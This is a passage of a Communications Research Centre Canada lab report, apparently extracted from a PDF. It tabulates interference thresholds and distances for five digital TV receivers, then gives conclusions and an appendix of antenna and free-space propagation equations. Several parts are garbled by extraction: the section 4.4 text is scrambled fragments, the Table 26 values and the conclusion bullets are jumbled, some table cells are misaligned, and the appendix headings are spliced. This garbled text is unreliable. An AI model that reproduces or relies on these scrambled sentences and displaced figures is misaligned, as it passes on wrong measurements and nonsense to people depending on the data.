30.5 -30.8 -37.2 28.8 -30.3 -37.7 27.2 N+1 -40.5 -27.5 86.1 -31.0 -37.0 28.8 -31.5 -36.5 30.5 -29.0 -39.0 22.9 -31.0 -37.0 28.8 N+2 -30.8 -37.2 27.9 -22.8 -45.2 11.1 -22.3 -45.7 10.5 -21.3 -46.7 9.3 -23.8 -44.2 12.5 N+3 -22.8 -45.2 11.0 -13.3 -54.7 3.7 -24.8 -43.2 13.8 -13.3 -54.7 3.7 -14.3 -53.7 4.1 N+4 -22.2 -45.8 10.2 -7.2 -60.8 1.8 -21.7 -46.3 9.6 -10.7 -57.3 2.7 -9.2 -58.8 2.3 N+5 -12.6 -55.4 3.3 -11.6 -56.4 3.0 -24.1 -43.9 12.5 -10.1 -57.9 2.5 -7.6 -60.4 1.9 N+6 -10.1 -57.9 2.5 -2.6 -65.4 1.0 -13.6 -54.4 3.7 -2.1 -65.9 1.0 -4.1 -63.9 1.2 N+7 -31.6 -36.4 29.1 -2.6 -65.4 1.0 -21.6 -46.4 9.2 -5.1 -62.9 1.4 -8.1 -59.9 1.9 N+8 -8.5 -59.5 2.0 -1.5 -66.5 0.9 -2.5 -65.5 1.0 -1.5 -66.5 0.9 -3.0 -65.0 1.1 N+9 -8.0 -60.0 1.9 -2.0 -66.0 0.9 -1.0 -67.0 0.8 -1.0 -67.0 0.8 -3.0 -65.0 1.1 N+10 -14.3 -53.7 3.9 -0.8 -67.2 0.8 -1.3 -66.7 0.9 -0.3 -67.7 0.8 -2.8 -65.2 1.0 N+11 -9.9 -58.1 2.3 -1.4 -66.6 0.9 0.1 -68.1 0.7 -0.4 -67.6 0.8 -2.4 -65.6 1.0 N+12 -10.9 -57.1 2.6 -1.4 -66.6 0.9 0.1 -68.1 0.7 -0.9 -67.1 0.8 -2.4 -65.6 1.0 N+13 -11.7 -56.3 2.8 -1.7 -66.3 0.9 0.3 -68.3 0.7 -0.2 -67.8 0.7 -2.7 -65.3 1.0 N+14 -32.9 -35.1 31.7 -6.9 -61.1 1.6 -30.4 -37.6 23.8 -20.4 -47.6 7.5 -11.4 -56.6 2.7 N+15 -36.4 -31.6 47.0 -9.4 -58.6 2.1 -31.9 -36.1 28.0 -20.9 -47.1 7.9 -12.4 -55.6 3.0 Table 19 – Unfiltered DTV into Weak Fixed DTV on Channel 32 © Communications Research Centre Canada Page 36 Receiver 1 2 R R Receiver Receiver 3 eceiver 4 eceiver 5 Undesire el el ) U ) d DTV Chann Und. Lev (dBm D/ (dB Dist. “r” (m) el m) U ) (dB Und. Lev D/ (dB Dist. “r” (m) Und. Level ) (dBm D/U (dB) Dist. “r” ( U Le (d D/ (d m) nd. vel Bm) U B) Dist. “r” (m U Le d D/ (d ) ( nd. vel Bm) U B) Dist. “r” (m) N–15 -14.2 -61.8 5.0 -3.2 -72.8 1.4 -9.7 -66.3 3.0 -6.2 -69.8 2.0 -4.2 -71.8 1.6 N–14 -34.2 -41.8 49.2 -5.2 -70.8 1.7 -8.2 -67.8 2.5 -6.2 -69.8 2.0 -5.7 -70.3 1.8 N–13 -13.7 -62.3 4.6 -4.2 -71.8 1.5 -9.7 -66.3 2.9 -7.7 -68.3 2.3 -5.2 -70.8 1.7 N–12 -13.6 -62.4 4.5 -9.6 -66.4 2.8 -13.1 -62.9 4.2 -11.6 -64.4 3.6 -10.6 -65.4 3.2 N–11 -17.1 -58.9 6.6 -10.6 -65.4 3.1 -16.1 -59.9 5.9 -14.1 -61.9 4.7 -11.1 -64.9 3.3 N–10 -13.2 -62.8 4.2 -10.7 -65.3 3.1 -14.2 -61.8 4.7 -13.2 -62.8 4.2 -11.7 -64.3 3.5 N–9 -13.7 -62.3 4.4 -12.2 -63.8 3.7 -19.2 -56.8 8.3 -18.7 -57.3 7.8 -13.2 -62.8 4.1 N–8 -14.4 -61.6 4.7 -10.4 -65.6 3.0 -17.4 -58.6 6.6 -16.9 -59.1 6.3 -10.9 -65.1 3.1 N–7 -19.9 -56.1 8.7 -16.9 -59.1 6.2 -18.9 -57.1 7.8 -18.9 -57.1 7.8 -16.4 -59.6 5.8 N–6 -12.8 -63.2 3.8 -10.8 -65.2 3.0 -19.3 -56.7 8.1 -19.3 -56.7 8.1 -13.3 -62.7 4.0 N–5 -18.0 -58.0 6.9 -11.5 -64.5 3.3 -21.5 -54.5 10.3 -21.5 -54.5 10.3 -14 -62.0 4.3 N–4 -22.8 -53.2 11.8 -17.3 -58.7 6.3 -21.8 -54.2 10.5 -21.8 -54.2 10.5 -19.3 -56.7 7.9 N–3 -27.4 -48.6 19.9 -25.9 -50.1 16.7 -24.4 -51.6 14.1 -24.9 -51.1 14.9 -26.4 -49.6 17.7 N–2 -31.3 -44.7 30.8 -34.8 -41.2 46.1 -32.3 -43.7 34.5 -31.8 -44.2 32.6 -34.3 -41.7 43.5 N–1 -40.8 -35.2 91.0 -41.8 -34.2 102.1 -40.3 -35.7 85.9 -39.3 -36.7 76.5 -39.3 -36.7 76.5 N+1 -49.0 -27.0 229.0 -39.0 -37.0 72.4 -40.0 -36.0 81.3 -37.5 -38.5 60.9 -39.5 -36.5 76.7 N+2 -32.3 -43.7 33.1 -31.3 -44.7 29.5 -31.3 -44.7 29.5 -30.3 -45.7 26.3 -32.8 -43.2 35.1 N+3 -23.8 -52.2 12.3 -21.8 -54.2 9.8 -26.8 -49.2 17.4 -21.3 -54.7 9.2 -23.8 -52.2 12.3 N+4 -27.2 -48.8 18.1 -14.7 -61.3 4.3 -24.2 -51.8 12.8 -15.7 -60.3 4.8 -18.2 -57.8 6.4 N+5 -14.6 -61.4 4.2 -15.1 -60.9 4.4 -27.1 -48.9 17.7 -13.6 -62.4 3.7 -14.6 -61.4 4.2 N+6 -12.1 -63.9 3.1 -10.6 -65.4 2.6 -15.6 -60.4 4.7 -10.6 -65.4 2.6 -11.1 -64.9 2.8 N+7 -32.1 -43.9 30.8 -10.6 -65.4 2.6 -23.1 -52.9 10.9 -11.1 -64.9 2.7 -12.6 -63.4 3.3 N+8 -11.5 -64.5 2.9 -10.0 -66.0 2.4 -10.0 -66.0 2.4 -10.0 -66.0 2.4 -11.0 -65.0 2.7 N+9 -11.5 -64.5 2.8 -11.0 -65.0 2.7 -9.5 -66.5 2.2 -10.0 -66.0 2.4 -11.5 -64.5 2.8 N+10 -17.3 -58.7 5.5 -8.8 -67.2 2.0 -9.3 -66.7 2.2 -8.8 -67.2 2.0 -10.8 -65.2 2.6 N+11 -13.4 -62.6 3.4 -10.4 -65.6 2.4 -8.9 -67.1 2.1 -9.4 -66.6 2.2 -10.9 -65.1 2.6 N+12 -12.4 -63.6 3.0 -10.4 -65.6 2.4 -8.9 -67.1 2.0 -9.9 -66.1 2.3 -10.9 -65.1 2.6 N+13 -13.7 -62.3 3.5 -11.2 -64.8 2.6 -8.7 -67.3 2.0 -9.2 -66.8 2.1 -11.7 -64.3 2.8 N+14 -41.4 -34.6 84.3 -16.4 -59.6 4.7 -38.9 -37.1 63.2 -29.4 -46.6 21.2 -20.9 -55.1 8.0 N+15 -14.2 -61.8 5.0 -3.2 -72.8 1.4 -9.7 -35.1 3.0 -6.2 -45.6 2.0 -4.2 -54.1 1.6 Table U on nn 20 – nfiltered DTV into 7 dB above Edge of DTV Contour Fixed DTV Cha el 32 © Communications Research Centre Canada Page 37 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Undesire d DTV Channel Und. Level (dBm) D/U (dB) Dist. “r” (m) Und. Level (dBm) D/U (dB) Dist. “r” (m) Und. Level (dBm) D/U (dB) Dist. “r” (m) Und. Level (dBm) D/U (dB) Dist. “r” (m) Und. Level (dBm) D/U (dB) Dist. “r” (m) N–15 -11.3 -56.7 2.6 > 11.7 < -79.7 < 0.2 -4.3 -63.7 1.2 7.7 -75.7 0.3 0.2 -68.2 0.7 N–14 -11.3 -56.7 2.6 > 11.7 < -79.7 < 0.2 -9.3 -58.7 2.1 1.7 -69.7 0.6 0.2 -68.2 0.7 N–13 -11.4 -56.6 2.7 > 11.6 < -79.6 < 0.2 -13.9 -54.1 3.6 -2.9 -65.1 1.0 -0.4 -67.6 0.8 N–12 -11.8 -56.2 2.8 11.2 -79.2 0.2 -11.8 -56.2 2.8 -1.3 -66.7 0.8 -0.3 -67.7 0.7 N–11 -12.4 -55.6 3.0 9.1 -77.1 0.3 -12.4 -55.6 3.0 -3.4 -64.6 1.1 -0.9 -67.1 0.8 N–10 -13.0 -55.0 3.2 7.5 -75.5 0.3 -14.5 -53.5 3.8 -8.0 -60.0 1.8 -2.0 -66.0 0.9 N–9 -12.9 -55.1 3.2 5.6 -73.6 0.4 -15.9 -52.1 4.5 -8.9 -59.1 2.0 -3.4 -64.6 1.1 N–8 -12.8 -55.2 3.1 5.7 -73.7 0.4 -17.3 -50.7 5.3 -11.3 -56.7 2.6 -5.8 -62.2 1.4 N–7 -12.3 -55.7 3.0 8.7 -76.7 0.3 -18.8 -49.2 6.2 -13.3 -54.7 3.3 -8.8 -59.2 2.0 N–6 -12.3 -55.7 3.0 2.2 -70.2 0.6 -19.3 -48.7 6.6 -14.3 -53.7 3.7 -1.8 -66.2 0.9 N–5 -15.3 -52.7 4.2 -4.8 -63.2 1.2 -7.3 -60.7 1.7 -15.8 -52.2 4.4 -2.3 -65.7 0.9 N–4 -22.3 -45.7 9.3 -12.8 -55.2 3.1 -19.8 -48.2 7.0 -15.3 -52.7 4.2 -8.8 -59.2 2.0 N–3 -26.7 -41.3 15.5 -21.2 -46.8 8.2 -22.7 -45.3 9.8 -11.2 -56.8 2.6 -16.7 -51.3 4.9 N–2 -27.4 -40.6 16.8 -28.9 -39.1 20.0 -17.4 -50.6 5.3 -16.9 -51.1 5.0 -23.9 -44.1 11.2 N–1 -37.7 -30.3 55.0 -35.2 -32.8 41.3 -31.2 -36.8 26.0 -28.2 -39.8 18.4 -29.2 -38.8 20.7 N+1 -40.5 -27.5 75.9 -30.0 -38.0 22.7 -30.5 -37.5 24.0 -27.5 -40.5 17.0 -31.0 -37.0 25.4 N+2 -30.9 -37.1 25.1 -18.4 -49.6 6.0 -15.4 -52.6 4.2 -6.4 -61.6 1.5 -19.4 -48.6 6.7 N+3 -22.4 -45.6 9.5 -5.9 -62.1 1.4 -21.9 -46.1 8.9 -8.4 -59.6 1.9 -7.9 -60.1 1.8 N+4 -23.4 -44.6 10.6 -1.4 -66.6 0.8 -21.4 -46.6 8.4 -10.9 -57.1 2.5 -7.9 -60.1 1.8 N+5 -13.3 -54.7 3.3 -6.8 -61.2 1.6 -24.3 -43.7 11.8 -8.8 -59.2 2.0 -8.8 -59.2 2.0 N+6 -12.3 -55.7 3.0 2.2 -70.2 0.6 -13.8 -54.2 3.5 1.2 -69.2 0.6 -3.8 -64.2 1.1 N+7 -32.9 -35.1 31.7 3.6 -71.6 0.5 -22.4 -45.6 9.5 -1.4 -66.6 0.8 -10.4 -57.6 2.4 N+8 -14.1 -53.9 3.6 6.4 -74.4 0.3 -0.6 -67.4 0.8 7.9 -75.9 0.3 -1.6 -66.4 0.9 N+9 -13.3 -54.7 3.3 6.7 -74.7 0.3 0.2 -68.2 0.7 7.2 -75.2 0.3 -1.3 -66.7 0.8 N+10 -13.4 -54.6 3.4 2.1 -70.1 0.6 -1.4 -66.6 0.8 4.1 -72.1 0.4 -3.4 -64.6 1.1 N+11 -13.8 -54.2 3.5 9.7 -77.7 0.2 3.7 -71.7 0.5 9.2 -77.2 0.2 -0.8 -67.2 0.8 N+12 -13.3 -54.7 3.3 11.2 -79.2 0.2 > 11.7 < -79.7 < 0.2 11.2 -79.2 0.2 -0.3 -67.7 0.7 N+13 -13.2 -54.8 3.3 > 11.8 < -79.8 < 0.2 > 11.8 < -79.8 < 0.2 11.3 -79.3 0.2 0.3 -68.3 0.7 N+14 -32.4 -35.6 29.9 -6.4 -61.6 1.5 -29.9 -38.1 22.4 -20.4 -47.6 7.5 -10.9 -57.1 2.5 N+15 -36.4 -31.6 47.4 -8.4 -59.6 1.9 -32.9 -35.1 31.7 -21.4 -46.6 8.4 -12.4 -55.6 3.0 Table 21 – Filtered Fixed DTV on Channel 46 into Weak DTV © Communications Research Centre Canada Page 38 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Undesire d DTV Channel Und. Level (dBm) D/U (dB) Dist. “r” (m) Und. Level (dBm) D/U (dB) Dist. “r” (m) Und. Level (dBm) D/U dB) ( Dist. “r” (m nd v B ) U Le (d . el m) D/U (dB) Dist. “r” (m) Und. evel dBm) D (d L ( /U B) Dist. “r” (m) N–15 -13.3 -62.7 3.3 Fail Fail - -6.3 -69.7 1.5 3.2 -79.2 0.5 -0.3 -75.7 0.7 N–14 -13.8 -62.2 3.5 Fail Fail - -12.3 -63.7 3.0 -0.8 -75.2 0.8 -0.3 -75.7 0.7 N–13 -14.4 -61.6 3.8 Fail Fail - -16.9 -59.1 5.0 -5.4 -70.6 1.3 -1.4 -74.6 0.8 N–12 -14.8 -61.2 3.9 8.7 -84.7 0.3 -13.3 -62.7 3.3 -4.3 -71.7 1.2 -0.8 -75.2 0.8 N–11 -14.9 -61.1 4.0 2.6 -78.6 0.5 -14.4 -61.6 3.8 -5.9 -70.1 1.4 -1.4 -74.6 0.8 N–10 -15.0 -61.0 4.0 6.0 -82.0 0.4 -17.5 -58.5 5.4 -11.0 -65.0 2.5 -2.5 -73.5 1.0 N–9 -14.9 -61.1 4.0 4.6 -80.6 0.4 -17.9 -58.1 5.6 -11.4 -64.6 2.7 -3.9 -72.1 1.1 N–8 -14.8 -61.2 3.9 3.2 -79.2 0.5 -19.3 -56.7 6.6 -13.8 -62.2 3.5 -6.3 -69.7 1.5 N–7 -14.3 -61.7 3.7 0.7 -76.7 0.7 -21.3 -54.7 8.3 -15.8 -60.2 4.4 -9.3 -66.7 2.1 N–6 -13.8 -62.2 3.5 -6.3 -69.7 1.5 -21.8 -54.2 8.8 -17.3 -58.7 5.3 -10.8 -65.2 2.5 N–5 -17.8 -58.2 5.6 -13.3 -62.7 3.3 -20.8 -55.2 7.9 -17.3 -58.7 5.3 -10.8 -65.2 2.5 N–4 -23.8 -52.2 11.1 -20.8 -55.2 7.9 -22.8 -53.2 9.9 -19.3 -56.7 6.6 -17.8 -58.2 5.6 N–3 -28.2 -47.8 18.4 -29.2 -46.8 20.7 -24.2 -51.8 11.6 -19.7 -56.3 6.9 -26.2 -49.8 14.6 N–2 -28.4 -47.6 18.9 -37.4 -38.6 53.1 -26.4 -49.6 15.0 -24.9 -51.1 12.6 -32.4 -43.6 29.9 N–1 -40.2 -35.8 73.4 -43.7 -32.3 109.8 -39.2 -36.8 65.4 -35.7 -40.3 43.7 -37.2 -38.8 51.9 N+1 -48.0 -28.0 180.1 -39.0 -37.0 63.9 -39.0 -37.0 63.9 -36.0 -40.0 45.7 -38.0 -38.0 57.0 N+2 -31.4 -44.6 26.6 -26.9 -49.1 15.9 -23.9 -52.1 11.2 -14.9 -61.1 4.0 -28.4 -47.6 18.9 N+3 -22.9 -53.1 10.0 -14.4 -61.6 3.8 -24.4 -51.6 12.6 -10.4 -65.6 2.4 -17.9 -58.1 5.6 N+4 -27.9 -48.1 17.8 -9.9 -66.1 2.2 -23.9 -52.1 11.2 -14.9 -61.1 4.0 -15.9 -60.1 4.5 N+5 -14.8 -61.2 3.9 -9.8 -66.2 2.2 -27.3 -48.7 16.6 -11.3 -64.7 2.6 -12.8 -63.2 3.1 N+6 -12.8 -63.2 3.1 0.7 -76.7 0.7 -16.3 -59.7 4.7 -0.8 -75.2 0.8 -9.8 -66.2 2.2 N+7 -33.9 -42.1 35.5 2.6 -78.6 0.5 -24.4 -51.6 11.9 -3.9 -72.1 1.1 -11.4 -64.6 2.7 N+8 -14.1 -61.9 3.6 5.9 -81.9 0.4 -4.1 -71.9 1.1 7.4 -83.4 0.3 -2.1 -73.9 0.9 N+9 -13.8 -62.2 3.5 5.7 -81.7 0.4 -2.3 -73.7 0.9 5.7 -81.7 0.4 -2.3 -73.7 0.9 N+10 -13.9 -62.1 3.6 -0.4 -75.6 0.8 -4.4 -71.6 1.2 1.6 -77.6 0.6 -5.9 -70.1 1.4 N+11 -14.8 -61.2 3.9 6.7 -82.7 0.3 Fail Fail -- 6.7 -82.7 0.3 -1.3 -74.7 0.8 N+12 -13.8 -62.2 3.5 10.7 -86.7 0.2 > 11.7 < -87.7 < 0.2 10.7 -86.7 0.2 -0.8 -75.2 0.8 N+13 -13.7 -62.3 3.5 > 11.8 < -87.8 < 0. -82. 2 6.8 8 0.3 10.3 -86.3 0.2 -0.7 -75.3 0.8 N+14 -40.9 -35.1 79.9 -15.4 -60.6 4.2 -38.9 -37.1 63.2 -29.4 -46.6 21.2 -20.4 -55.6 7.5 N+15 -45.4 -30.6 133.5 -16.9 -59.1 5.0 -41.9 -34.1 89.2 -30.4 -45.6 23.7 -21.4 -54.6 8.4 Table 22 – Filtered Fixed DTV on Channel 46 into 7 dB above Edge of DTV Contour DTV © Communications Research Centre Canada Page 39 4.4 In ula fo te ence D ance from a Radiating Device in the Presence of another Interference to the Desired DTV Channel , ce tance fr is u when an into DTV adjacent channel int already present for the desired DTV channel. p the correspo g , the po f an ire TV adjacent nnel is set to bring a DTV ver to TOV – 3 dB. This means that an increase of 3 er o e un TV cha ause d red cent ch du nd vel is in ring ndes D cha ls are set to operate on two different adjacent channels (e.g. “N–1 and N+1”, “N+2 and N+3”, etc.). n esul e a e , the di c hich atin evi an produce same power level as the second undesi DTV channel, has been c te (ta es su r di e e ad n bin ns n th th d of rfe e ance of a radiating device. e a t ra to th -mW output power and 6 r itting antenna gain (maximum radiated power of m). The DTV receivin n a d to have 0-dBi gain, to be ma d with n on ic is d e t l tion Appendix 2 represents all the relations and the procedures that have been used, and all the assu s th be ma o y out t cula Calc tions r In rfer dis ist om thi oth s sec er D tion TV the interferen a erf radia erenc ting e is device calc lated To cha dB Th erform ndin tests ecei d D adja wer nn an level o undes d D r sire V in en cre the a se ased pow con to b f th desi the DTV receiver to TOV. de DT el ne T wou l is in he tw ld c tro o u TOV for the DTV receiver. d a ired un ce its p TV ower le nne Usi the Th g the r ts of th bov tests to 2 alo stan red en e at w a radi g d ce c ula und renc alc nt d. sired dist r wi tche ariza e f jac ollow ent c ing han tab el c les om bles atio 23 8) pr g wi ansm na is h it carr t th e c e tes alcul t re ate lts val fo ues ffer inte As in the previous section, the radiating devi 100 26 the as the incident wave. ce is assum ssu co d to be poin dia e po -d g a to Bi t nte wh dB lo me nn ad or tra smissi line ected, an to hav he sam mption at have en de t he cal tions. © Communications Research Centre Canada Page 40 Test Conditions Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Desir Ch-43 ed: – 68 dBm U ndesired #1 (U1): N+3 Ch-46 Undesired #2 (U2): N-3 Ch-40 Un D/U Un D/U Un D/U Un D/U Un D/U desire d Signal Level (dBm) (dB) desire d Signal Level (dBm) (dB) desire d Signal Level (dBm) (dB) desire d Signal Level (dBm) (dB) desire d Signal Level (dBm) (dB) Single Undesired into DTV U1 at TOV only -21.7 -46.3 -6.2 -61.8 -24.2 -43.8 -8.7 -59.3 -7.7 -60.3 U2 at TOV only -27.9 -40.1 -23.9 -44.1 -24.4 -43.6 -23.4 -44.6 -23.4 -44.6 Multiple Undesired into DTV U2 at TOV In presence of U1 – 3dB -29.4 -38.6 -26.4 -41.6 -41.4 -26.6 -39.4 -28.6 -26.9 -41.1 Degradation * 1.5 dB 2.5 dB 17.0 dB 16.0 dB 3.5 dB U2 Interference distance * 22.4 (meters) 15.8 (meters) 89.1 (meters) 70.8 (meters) 16.8 (meters) * Calculated values Table 23, N+3 and N-3 into Weak DTV Test Conditions Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Desire Ch-43 d: – 68 dBm Undesired #1 (U1): N+3 Ch-46 Undesired #2 (U2): N-4 Ch-39 Un Un Un Un Un desire d Signal Level (dBm) D/U (dB) desire d Signal Level (dBm) D/U (dB) desire d Signal Level (dBm) D/U (dB) desire d Signal Level (dBm) D/U (dB) desire d Signal Level (dBm) D/U (dB) Single Undesired into DTV U1 at TOV only -22.1 -45.9 -5.6 -62.4 -24.6 -43.4 -8.6 -59.4 -7.6 -60.4 U2 at TOV only -23.6 -44.4 -10.1 -57.9 -20.1 -47.9 -15.1 -52.9 -10.1 -57.9 Multiple Undesired into DTV U2 at TOV In presence of U1 – 3dB -48.1 -19.9 -14.6 -53.4 -36.1 -31.9 -36.6 -31.4 -21.6 -46.4 Degradation * 24.5 dB 4.5 dB 16.0 dB 21.5 dB 11.5 dB U2 Interference distance * 194.5 (meters) 4.1 (meters) 48.9 (meters) 51.8 (meters) 9.2 (meters) * Calculated values Table 24, N+3 and N-4 into Weak DTV © Communications Research Centre Canada Page 41 Test Conditions Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Desired: – 68 dBm Ch-44 Undesired #1 (U1): N+2 Ch-46 Undesired #2 (U2): N+3 Ch-47 Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Single Undesired into DTV U1 at TOV only -30.5 -37.5 -18.5 -49.5 -15.0 -53.0 -6.0 -62 -18.5 -49.5 U2 at TOV only -21.6 -46.4 -13.1 -54.9 -24.1 -43.9 -12.6 -55.4 -13.6 -54.4 Multiple Undesired into DTV U2 at TOV In presence of U1 – 3dB -27.6 -40.4 -15.6 -52.4 -27.6 -40.4 -25.1 -42.9 -16.6 -51.4 Degradation * 6.0 dB 2.5 dB 3.5 dB 12.5 dB 3.0 dB U2 Interference distance * 17.1 (meters) 4.3 (meters) s) 17.1 (meters) 12.8 (meters) 4.8 (meter * Calculated values Table 25, N+2 and N+3 into Weak DTV Test Condition Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Desired: – 68 dBm Ch-44 Undesired #1 (U1): N+2 Ch-46 Undesired #2 (U2): N+4 Ch-48 Level (dB) Level ( ) (dB) Level (dB) U Level ( (dB) U Level (dB) Undesire d Signal (dBm) D/U Undesire d Signal dBm D/U Undesire d Signal (dBm) D/U ndesire d Signal dBm) D/U ndesire d Signal (dBm) D/U Single Undesired into DTV U1 at TOV only -30.5 -37.5 -18.5 -49.5 -15.0 -53.0 -6.5 -61.5 -19.0 -49.0 U2 at TOV only -22.8 -45.2 -7.8 -60.2 -20.3 -47.7 -10.8 -57.2 -9.3 -58.7 Multiple Undesired into DTV U2 at TOV In presence of U1 – 3dB -31.3 -36.7 .7 .2 .7 .7 -9 58 .3 - -31.8 -36 -33 -34 .3 -17 50 .3 - Degradation * 8.5 dB 1.5 dB 11.5 dB 22.5 dB 8.0 dB U2 Interference distance * 25.9 (met s) 32.6 (meters) 5.2 (meters) ers) 2.1 (meters) 27.4 (meter * Calculated values © Communications Research Centre Canada Page 42 Table 26, N+2 and N+4 into Weak DTV © Communications Research Centre Canada Page 43 Test Conditions Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Desired: – 68 dBm Ch-43 Undesired #1 (U1): N+3 Ch-46 Undesired #2 (U2): N+6 Ch-49 Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Single Undesired into DTV U1 at TOV only -22.0 -46.0 -6.0 -62.0 -24.5 -43.5 -8.5 -59.5 -8.0 -60.0 U2 at TOV only -13.3 -54.7 -2.3 -65.7 -13.3 -54.7 -4.8 .2 -1.8 -66.2 -63 Multiple Undesired into DTV U2 at TOV In presence of U1 – 3dB -42.8 -25.2 -22.3 -45.7 -44.8 -23.2 -35.8 -32.2 -37.8 -30.2 Degradation * 29.5 dB 20.0 dB 31.5 dB 33.0 34.0 dB dB U2 Interference distance * 96.4 (meters) 9.1 (meters) 121.4 (meters) 54.2 (me 43.1 (meters) ters) * Calculated values Table 27, N+3 and N+6 into Weak DTV Test Conditions Receiver 1 Receiver 2 Receiver 3 Receiv Receiver 4 er 5 Desired: – 68 dBm Ch-39 Undesired #1 (U1): N+7 Ch-46 Undesired #2 (U2): N+14 Ch-53 Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) d Signal Level (dBm) D/U (dB) Undesire d Signal evel dBm) B) Undesire L ( D/U (d Single Undesired into DTV U1 at TOV only -32.5 -35.5 3.5 -71.5 -19.5 -48.5 -1.5 -66.5 -10.0 -58.0 U2 at TOV only -35.5 -32.5 -10.5 -57.5 -30.0 -38.0 -19.5 -48.5 -12.0 -56.0 Multiple Undesired into DTV U2 at TOV In presence of U1 – 3dB -38.0 -30.0 -35.0 -33.0 -32.0 -36.0 -29.0 -39.0 -36.5 -31.5 Degradation * 2.5 dB 24.5 dB 2.0 dB 9.5 dB 24.5 dB U2 Interference distance * 53.6 (meters) 37.9 (meters) 26.9 (meters) 19.0 (meters) 45.1 (meters) * Calculated values Table 28, N+7 and N+14 into Weak DTV 5 Conclusion • There can be su ance of different VSB pro result in large calculated interference distances “r” at ls can also be problematic and result in calculated interference distances “r” larger than 10 meters • Image interference on t significa distances under certain circumstances for certain receivers. be The Communications Research Centre Canada (CRC) carried out laboratory tests to evaluate the performance of five VSB receivers. The results of these tests indicate: bstantial differences in interference perform receivers and interference mechanisms, regardless of age and vintage. • Interfering signals on the upper and lower first adjacent channel are the most blematic and consistently which the interfering device can cause a DTV receiver to reach TOV. • In general, interfering signals on the second and third adjacent channe . channels +7, +14 and +15 can also result a nt • Multiple interfering signals reduce the D/U ratios. The worst case appears to N+x and N+2x. Degradation of more than 30 dB and more have been measured on some receivers. © Communications Research Centre Canada Page 44 Appendix 1 List of the Receivers under Test Receiver # Type Manufactured Year 1 Consumer 2001 2 Consumer 2002 3 PC Plug-in Card 2005 4 Consumer 2003 5 Consumer 2006 © Communications Research Centre Canada Page 45 © Communications Research Centre Canada Page 46 (1.1) (1.2 1.2) ulations of distance “r” ection 1 ) ulations of distance “r” ection 1 Appendix 2 Calc Appendix 2 Calc Relation between the radiated power from an isotropic point source in ee space and the power at the output of a receiving antenna located Relation between the radiated power from an isotropic point source in frfree space and the power at the output of a receiving antenna located at a distance “r” from the radiator at a distance “r” from the radiator SS : Relation between the incident electric field and the power at the output of d L the receiving antenna Relation between the incident electric field intensity Ei (rms) and the voltage VL (rms) across the load RL, to which the antenna is connected, can be written as [1]: Ei (dBV/m) = VL (dBV) + 20 log F (MHz) – Gant (dBi) – 10 log RL () – 10 log p – 10 log q – 12.8 In this relation “Gant” is the isotropic gain (dBi) of the receiving antenna. It should be noted, however, that if the receiving antenna is directional (with maximum gain of “Gant (dBi)”), but it is not directed toward the transmitter, then the decrease in gain due to this “off-direction” should be subtracted from Gant before inserting it in the equation. “p” is polarization match factor and is 1 (or 10 log p = 0 dB) when the incident wave an the antenna both have the same polarization. “q” is the impedance match factor and is equal to 1 if the antenna is matched with the transmission line or the load to which it is connected. In case of mismatch, its value can be found in terms of antenna and load impedance, or the Voltage Standing Wave Ratio (VSWR) of the antenna [2]. It is also common to relate Ei and VL in terms of Antenna Factor (AF). To do this, equation (1.1) can be rewritten as: Ei (dBV/m) = VL (dBV) + AF AF = 20 log F (MHz) – Gant (dBi) – 10 log R () – 10 log p – 10 log q – 12.8 [1] Warren L. Stutzman and Gary A. Thiele, “Antenna Theory and Design”, chapter 9, copyright 1998 John Wiley and sons, ISBN 0-471-02590-9 [2] In case of mismatch between the receiving antenna and the load to which it is connected, “q” can be d as: foun q = 4 RARL [ (RA + RL)² + (XA + XL)² ] Where “R” is the real and “X” is the imaginary part of the impedance and suffixes A and L are for Antenna and Load. Perfect match is when RA = RL and XA = – XL (conjugate match). “q” can also be found from VSWR of the antenna as: q = 1 – [ (VSWR – 1) (VSWR + 1) ] ² © Communications Research Centre Canada Page 47 (2.1) (2.2) (3.1) (3.2) (3.3) Section 2: Relation between the power radiated from an isotropic point source in free space and the resultant electric field at a distance “r” For a point source (isotropic radiator) in free space, power density W (Watt/sq. meter) is [3]: W = Prad 4 r² = E² 120 have not been taken into account. From equation 2.1 we can get: E² = 30 Prad r² This equation in turn leads to: E (dBV/m) = Prad (dBm) – 20 log r (meter) + 104.77 Section 3 Where Prad is the total radiated power (Watts) from the point source, E is the free space electric field (V/m), and r is the radial distance from the radiator (meter). It should be noted, however, that Prad in this equation represents the radiated power at the output of the transmitting antenna (which here is assumed to be an isotropic point radiator) and so, factors such as efficiency, mismatch, etc. of the transmitting antenna : Relation between the power radiated from an isotropic point source in free space and the resultant power at the output of a receiving antenna Replacing “Ei” in equation 1.1 with “E” obtained from equation 2.2, we can relate the voltage across the load (to which the receiving antenna is connected) with the power radiated from the point source through the following equation: VL (dBV) = Prad (dBm) – 20 log r (meter) – 20 log F (MHz) + Gant (dBi) + 10 log RL () + 10 log q + 10 log p + 117.57 The output voltage of the antenna (VL) can also be converted to the power (PL) delivered to the load (RL). Using P = V² R, we can get: VL (dBV) = PL (dBm) + 10 log RL () + 90 Replacing VL in equation 3.1 with the one obtained from equation 3.2, we can relate the power (PL) delivered by a receiving antenna to the load (to which it is connected), and the power radiated from the point source (Prad) through the following equation: PL (dBm) = Prad (dBm) – 20 log r (meter) –20 log F (MHz) + Gant (dBi) + 10 log q + 10 log p + 27.57 [3] W. Daniel and E. W, Allen, “Television Engineering Handbook”, chapter 6 copyright 1992 McGraw-Hill Inc., ISBN 0-07-004788-X © Communications Research Centre Canada Page 48 (4.1) (4.2) Section 4: Calculating the distance from a point radiator at which the desired TV channel is at TOV Equation 3.3 (rewritten as equation 4.1 below) is used for calculating the distance “r” from a point radiator at which the desired 